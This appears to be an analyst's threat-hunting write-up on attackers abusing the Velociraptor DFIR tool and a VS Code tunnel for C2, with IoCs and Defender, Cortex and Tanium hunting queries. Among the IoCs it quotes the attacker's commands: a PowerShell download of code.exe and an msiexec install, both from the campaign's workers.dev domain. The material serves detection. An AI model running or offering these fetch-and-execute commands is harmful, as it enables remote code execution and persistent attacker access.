You should investigate the initial Entry and Execution to search through the logs with these IoCs / IoAs to find the right artifacts for Threat Hunting.
Root Cause:deployment of the legitimate open-source Velociraptor digital forensics and incident response (DFIR) tool
Exploitation: used the tool to download and execute Visual Studio Code with the likely intention of creating a tunnel to an attacker-controlled command and control (C2) server
2.) Indicators of Compromise
2.1) Executions from Threat Actor - Steps
tool to download and execute Visual Studio Code with the likely intention
creating a tunnel to an attacker-controlled command and control (C2) server. Enabling the tunnel option in Visual Studio Code
Windows msiexec utility to download an installer (v2.msi) from a Cloudflare Workers domain (files[.]qaubctgg[.]workers[.]dev)
staging folder for attacker tools, including the Cloudflare tunneling tool and the Radmin remote administration tool
file installed Velociraptor, which is configured to communicate with C2 server velo[.]qaubctgg[.]workers[.]dev
encoded PowerShell command to download Visual Studio Code (code.exe) from the same staging folder and executed it with the tunnel option enabled.
installed code.exe as a service and redirected the output to a log file
msiexec Windows utility again to download additional malware (sc.msi) from the workers[.]dev folder
2.2) Indicators of Compromise - Executions
3.) Initial Access
Threat actors often abuse remote monitoring and management (RMM) tools. In some instances, they leverage preexisting tools on the targeted systems.
They used the tool to download and execute Visual Studio Code with the likely intention of creating a tunnel to an attacker-controlled command and control (C2) server
4.) Finding through Threat Hunting
We hunted through the Datalake logs in the whole infrastructure...
5.) Mitigation
To mitigate exposure to this malware, organizations use available controls to review and restrict access using the indicators listed in Table 1. The domains may contain malicious content, so consider the risks before opening them in a browser.
Indicator
Type
Context
files[.]qaubctgg[.]workers[.]dev
Domain name
Hosted tools used in August 2025 Velociraptor campaign
velo[.]qaubctgg[.]workers[.]dev
Domain name
C2 server used in August 2025 Velociraptor campaig
Table 1
6.) Detection and Hunting
6.1) Sigma Rules
6.2) Linux Commandline Hunting
6.3) Hunting Queries Microsoft Defender XDR
6.4) Hunting Queries Palo Cortex XDR
6.5) Hunting Queries Tanium EDR
7.) Conclusion and Learning for a Hunter Blue
The Velociraptor incident reveals attackers pivoting to using incident response tools to gain a foothold in a network and minimize the amount of malware they deploy
its definitely necessary to check during Hunting or Initial Triage how Malware was staged
-> showcasing how fruitful Compromise Assessment Hunting and Time Line Analysis can be and should be used in such cases -> it is essential.
#IOCs
Indicator Type Context
files[.]qaubctgg[.]workers[.]dev Domain name Hosted tools used in August 2025 Velociraptor campaign
velo[.]qaubctgg[.]workers[.]dev Domain name C2 server used in August 2025 Velociraptor campaign
Velociraptor execution:
\Program Files\Velociraptor\Velociraptor.exe --config "C:\Program Files\Velociraptor\client.config.yaml" service run
VS Code tunnel execution:
code.exe tunnel --accept-server-license-terms service install
PowerShell execution:
powershell.exe -ExecutionPolicy Unrestricted -encodedCommand Invoke-WebRequest -Uri "https://files.qaubctgg.workers.dev/code.exe" -OutFile "C:\ProgramData\code.exe"
MSI execution:
msiexec /q /i https://files.qaubctgg.workers.dev/sc.msi
###will follow
###will follow
###VELO-HUNT-ABUSE-01 - Detect Velociraptor Execution
DeviceProcessEvents
| where FileName =~ "Velociraptor.exe"
| where ProcessCommandLine has_all ("--config", "service run")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine
| distinct ProcessCommandLine
###VELO-HUNT-ABUSE-02 - Detect VS Code Tunnel Usage
DeviceProcessEvents
| where FileName =~ "code.exe" or FileName =~ "code-tunnel.exe"
| where ProcessCommandLine has "tunnel" and ProcessCommandLine has "service"
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName
#This query identifies potential DEV Tunnel commands executed via PowerShell or batch
DeviceProcessEvents
| where ProcessCommandLine matches regex @"powershell.*tunnel" or ProcessCommandLine matches regex @"cmd.*tunnel"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName, InitiatingProcessFileName
###VELO-HUNT-ABUSE-03 - Detect PowerShell Download from Suspicious Domain
DeviceProcessEvents
| where FileName in~ ("powershell.exe", "pwsh.exe", "powershell_ise.exe")
| where ProcessCommandLine has_any ("-ExecutionPolicy", "Invoke-" "-EncodedCommand", "IEX", "DownloadString", "FromBase64String")
| where ProcessCommandLine has "workers.dev"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
###VELO-HUNT-ABUSE-04 - Malicious Domain Hunting
let domainList = dynamic(["workers.dev"]);
union
(
DnsEvents
| where QueryType has_any(domainList) or Name has_any(domainList)
| project TimeGenerated, Domain = QueryType, SourceTable = "DnsEvents"
),
(
IdentityQueryEvents
| where QueryTarget has_any(domainList)
| project Timestamp, Domain = QueryTarget, SourceTable = "IdentityQueryEvents"
),
(
DeviceNetworkEvents
| where RemoteUrl has_any(domainList)
| project Timestamp, Domain = RemoteUrl, SourceTable = "DeviceNetworkEvents"
),
(
DeviceNetworkInfo
| extend DnsAddresses = parse_json(DnsAddresses), ConnectedNetworks = parse_json(ConnectedNetworks)
| mv-expand DnsAddresses, ConnectedNetworks
| where DnsAddresses has_any(domainList) or ConnectedNetworks.Name has_any(domainList)
| project Timestamp, Domain = coalesce(DnsAddresses, ConnectedNetworks.Name), SourceTable = "DeviceNetworkInfo"
),
(
EmailUrlInfo
| where UrlDomain has_any(domainList)
| project Timestamp, Domain = UrlDomain, SourceTable = "EmailUrlInfo"
),
(
UrlClickEvents
| where Url has_any(domainList)
| project Timestamp, Domain = Url, SourceTable = "UrlClickEvents"
)
| order by TimeGenerated desc
or
let knowndevices=
DeviceNetworkEvents
| project DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath, ActionType, LocalIPType, RemoteIPType
| where InitiatingProcessFileName contains "Remote"
| where ActionType == "ConnectionSuccess"
| where LocalIPType == "Private"
| where RemoteIPType == "Public"
| distinct DeviceName;
//Find new devices in the last day not in the known list
DeviceNetworkEvents
| where InitiatingProcessFileName has_any ("powershell.exe", "pwsh.exe", "powershell_ise.exe", "code.exe", "msiexec.exe", "Velociraptor.exe")
| where RemoteUrl has_any ("workers.dev")
//| where ActionType == "ConnectionSuccess"
| where LocalIPType == "Private"
| where RemoteIPType == "Public"
| where DeviceName !in (knowndevices)
//| distinct DeviceName
or
let Time_start = now(-30d);
let Time_end = now();
//
let MalRMMToolsNet = dynamic(["workers.dev"]);
let rmmNetwork =
DeviceNetworkEvents
| where Timestamp between (Time_start..Time_end)
| where RemoteUrl has_any (MalRMMToolsNet)
| summarize FirstSeen=min(Timestamp), LastSeen=max(Timestamp),
Report=make_set(ReportId), Count=count() by Timestamp, DeviceId, DeviceName,InitiatingProcessAccountUpn ,InitiatingProcessAccountName, InitiatingProcessFolderPath,InitiatingProcessFileName,InitiatingProcessCommandLine,InitiatingProcessParentFileName ,ActionType, LocalIPType, RemoteIPType, RemoteIP, RemoteUrl
//| extend rmmNetworkName = 'action1'
;
rmmNetwork
###VELO-HUNT-ABUSE-05 - Detect MSI Install from External URL
DeviceProcessEvents
| where FileName =~ "msiexec.exe"
| where ProcessCommandLine has "http" or ProcessCommandLine has "https" or ProcessCommandLine has "https" or ProcessCommandLine has "v2.msi"
| where ProcessCommandLine has "workers.dev"
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName
###Created by DETECTIONS.AI
// Name: Velociraptor C2 - New RMM abuse tool for Remote Access & Control
// Author: Reyben T. Cortes
// Date: 2025-08-28
// Description: Detects hard IoCs and activity associated with a trojanized installer of Velociraptor incident response tool making callbacks to C2 domains from workers[.]dev and tunneling with Visual Studio Code (code.exe). The detection looks for the creation of hard IoCs from this malicious Velociraptor installer V2.msi, followed by network connections to known C2 domains and the execution of related processes, including PowerShell (with support for detecting encoded commands to install code.exe) and msiexec activity tied to malicious domains.
// Tactics: Execution, Command and Control
// Techniques: T1204.002, T1071.001
// Data Sources: DeviceFileEvents, DeviceNetworkEvents, DeviceProcessEvents
// Severity: High
let TimeFrame = 1h;
let CorrelationWindow = 5m;
// Define known indicators of C2 staging domains (IOCs)
let VelociraptorRMMC2Domains = dynamic(["files.qaubctgg.workers.dev", "velo.qaubctgg.workers.dev", "elo.qaubctgg.workers.dev", "api.blueberrystorage.com"]);
// Define known malicious file hashes
let MaliciousSHA256 = dynamic([
"649bdaa38e60ede6d140bd54ca5412f1091186a803d3905465219053393f6421", // v2.msi, Velociraptor C2 Installer
"a29125333ad72138d299cc9ef09718ddb417c3485f6b8fe05ba88a08bb0e5023", // Execution parent, C2 communication
"59810d2327652fb073f3c22f0d498af6506b0af862ce348f47cead331f3d4178", // Execution parent, C2 communication
"4c04ec20ff5e5841911971333a5afb157b385388aab7d17e21d9d2950ecebe59" // Execution parent, C2 communication
]);
// Define discovered recent hashes for similar trojanized Velociraptor .msi installers
let TrojanizedVelociraptorSHA256 = dynamic([
"da19f5bd0426ea4bfe458f4942cafa4889b993dc7921b75b8f6cead55b4c760f", // Trojanized Velociraptor, low VT
"e0f8850ff89919d54f9a84175cfa91c9f14f1311d0e4832ce9af3c1349a23d25" // Trojanized Velociraptor, low VT
]);
// Start with file creation events matching known malicious indicators
DeviceFileEvents
| where Timestamp > ago(TimeFrame)
| where SHA256 in (MaliciousSHA256) or SHA256 in (TrojanizedVelociraptorSHA256) or FileName == "sc.msi" or FileName == "code.exe"
// Correlate with network connections to C2 domains from the same device
| join kind=inner (
DeviceNetworkEvents
| where Timestamp > ago(TimeFrame)
| where RemoteUrl has_any (VelociraptorRMMC2Domains)
) on DeviceId
// FP Tuning: Correlate events within a short time window to ensure they are related.
// Time-based correlation is more robust than joining on potentially generic process names or accounts.
| where Timestamp1 between (Timestamp .. (Timestamp + CorrelationWindow)) // Timestamp1 is from DeviceNetworkEvents
// Correlate with related process execution events
| join kind=leftouter (
DeviceProcessEvents
| where Timestamp > ago(TimeFrame)
// Extract and decode encoded PowerShell commands for targeted inspection
| extend EncodedPart = extract(@"(?:-|/)enc(?:odedCommand)?\s+([A-Za-z0-9+/=]+)", 1, ProcessCommandLine)
| extend DecodedCommand = iff(EncodedPart != "", base64_decode_tostring(EncodedPart), "")
| where InitiatingProcessSHA256 in (MaliciousSHA256)
or InitiatingProcessSHA256 in (TrojanizedVelociraptorSHA256)
or FileName == "velociraptor.exe"
or InitiatingProcessFileName == "velociraptor.exe"
or ProcessCommandLine contains "Velociraptor"
or InitiatingProcessCommandLine contains "Velociraptor"
or (FileName == "powershell.exe" and (ProcessCommandLine has "files.qaubctgg.workers.dev" or DecodedCommand has_any (VelociraptorRMMC2Domains, "code.exe", "Visual Studio Code")))
or (FileName == "msiexec.exe" and ProcessCommandLine has_any (VelociraptorRMMC2Domains))
) on DeviceId
| where Timestamp2 between (Timestamp .. (Timestamp + CorrelationWindow)) // Timestamp2 is from DeviceProcessEvents
// Summarize the correlated activity to generate a single alert per incident
| summarize
StartTime = min(Timestamp),
EndTime = max(Timestamp),
EventCount = count(),
RemoteUrls = make_set(RemoteUrl),
ProcessesCreated = make_set(FileName1), // FileName1 is from DeviceProcessEvents
ProcessCommandLines = make_set(ProcessCommandLine1), // ProcessCommandLine1 is from DeviceProcessEvents
InitiatingProcessSHA256s = make_set(InitiatingProcessSHA2561) // InitiatingProcessSHA2561 is from DeviceProcessEvents
by
DeviceId,
DeviceName,
MaliciousFileName = FileName,
MaliciousFileSHA256 = SHA256,
FolderPath,
AccountName = InitiatingProcessAccountName, // From the initial DeviceFileEvents
InitiatingProcess = InitiatingProcessFileName // From the initial DeviceFileEvents
###VELO-HUNT-ABUSE-01 - Detect Velociraptor Execution
\Program Files\Velociraptor\Velociraptor.exe --config "C:\Program Files\Velociraptor\client.config.yaml" service run
Get Trace Executed Processes[unlimited,1748005320000|1750687320000,1,0,100,0,"(?i).*(Velociraptor.exe).*","","(?i).*(--config|client.config.yaml|service|run).*","","",""] from all machines
###VELO-HUNT-ABUSE-02 - Detect VS Code Tunnel Usage
--accept-server-license-terms service install
Get Trace Executed Processes[unlimited,1748005320000|1750687320000,1,0,100,0,"(?i).*(code.exe).*","","(?i).*(--accept-server-license-terms|service|install).*","","",""] from all machines
###VELO-HUNT-ABUSE-03 - Detect PowerShell Download from Suspicious Domain
-ExecutionPolicy Unrestricted -encodedCommand Invoke-WebRequest -Uri "https://files.qaubctgg.workers.dev/code.exe" -OutFile "C:\ProgramData\code.exe"
Get Trace Executed Processes[unlimited,1748005320000|1750687320000,1,0,100,0,"(?i).*(powershell.exe|pwsh.exe|powershell_ise.exe).*","","(?i).*(code.exe|OutFile|workers.dev|Invoke-WebReques|-encodedCommand).*","","",""] from all machines
###VELO-HUNT-ABUSE-04 - Malicious Domain Hunting
Get Trace DNS Queries[unlimited,1740817620000|1746001620000,1,0,100,0,"","",".*(workers.dev).*","",""] from all machines
###VELO-HUNT-ABUSE-05 - Detect MSI Install from External URL
msiexec /q /i https://files.qaubctgg.workers.dev/sc.msi
Get Trace Network Connections[1 week,1677415020000|1678023420000,1,0,100,0,0,"","","","",".*(msiexec.exe).*","",""] from all machines